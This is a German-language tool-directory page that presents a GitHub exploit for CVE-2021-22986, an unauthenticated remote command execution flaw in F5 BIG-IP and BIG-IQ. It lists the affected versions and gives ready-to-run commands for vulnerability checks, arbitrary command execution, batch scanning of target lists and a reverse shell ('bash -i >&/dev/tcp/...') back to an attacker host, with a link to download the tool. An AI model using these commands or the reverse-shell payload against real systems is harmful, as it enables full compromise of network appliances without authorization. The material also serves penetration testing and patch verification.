Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-22986 — CVE-2021-22986 & F5 BIG-IP RCE | Kitploit
Tools/GitHubGitHub/al1ex/cve-2021-22986
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRemote-Access-Tool
GitHubal1ex/cve-2021-22986

CVE-2021-22986

CVE-2021-22986 & F5 BIG-IP RCE

Repository anzeigen
9129vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Auswirkungen der Schwachstelle

Diese Sicherheitslücke ermöglicht es nicht authentifizierten Angreifern mit Netzwerkzugriff auf die iControl REST-Schnittstelle, über die BIG-IP-Verwaltungsschnittstelle und selbst zugeordnete IP-Adressen, beliebige Systembefehle auszuführen, Dateien zu erstellen oder zu löschen und Dienste zu deaktivieren. Diese Schwachstelle kann nur über die Control Plane ausgenutzt werden und nicht über die Data Plane. Die Ausnutzung kann zur vollständigen Kompromittierung des Systems führen. Das BIG-IP-System im Appliance-Modus ist ebenfalls anfällig.

Betroffene Produkte

  • F5 BIG-IQ 6.0.0-6.1.0
  • F5 BIG-IQ 7.0.0-7.0.0.1
  • F5 BIG-IQ 7.1.0-7.1.0.2
  • F5 BIG-IP 12.1.0-12.1.5.2
  • F5 BIG-IP 13.1.0-13.1.3.5
  • F5 BIG-IP 14.1.0-14.1.3.1
  • F5 BIG-IP 15.1.0-15.1.2
  • F5 BIG-IP 16.0.0-16.0.1

Schwachstellenüberprüfung

Grundlegende Verwendung

root@kitploit:~
python3 CVE_2021_22986.py

Benutzung

Schwachstellenprüfung

root@kitploit:~
python3 CVE_2021_22986.py -v true -u https://192.168.174.164

Prüfung

Befehl ausführen:

root@kitploit:~
python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c id

Befehlsausführung

root@kitploit:~
python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c whoami

Ausführung_2

Batch-Scan

root@kitploit:~
python3 CVE_2021_22986.py -s true -f check.txt

Batch-Scan

Reverse Shell

root@kitploit:~
python3 CVE_2021_22986.py -r true -u https://192.168.174.164 -c "bash -i >&/dev/tcp/192.168.174.129/8888 0>&1"

Reverse-Shell

Reverse-Shell-OK

Neuer Proof-of-Concept (POC)

root@kitploit:~
python3 newpoc.py https://192.168.174.164

Neuer POC

Referenzen

https://support.f5.com/csp/article/K03009991

https://github.com/safesword/F5_RCE

https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986

https://github.com/Udyz/CVE-2021-22986-SSRF2RCE

Tool herunterladen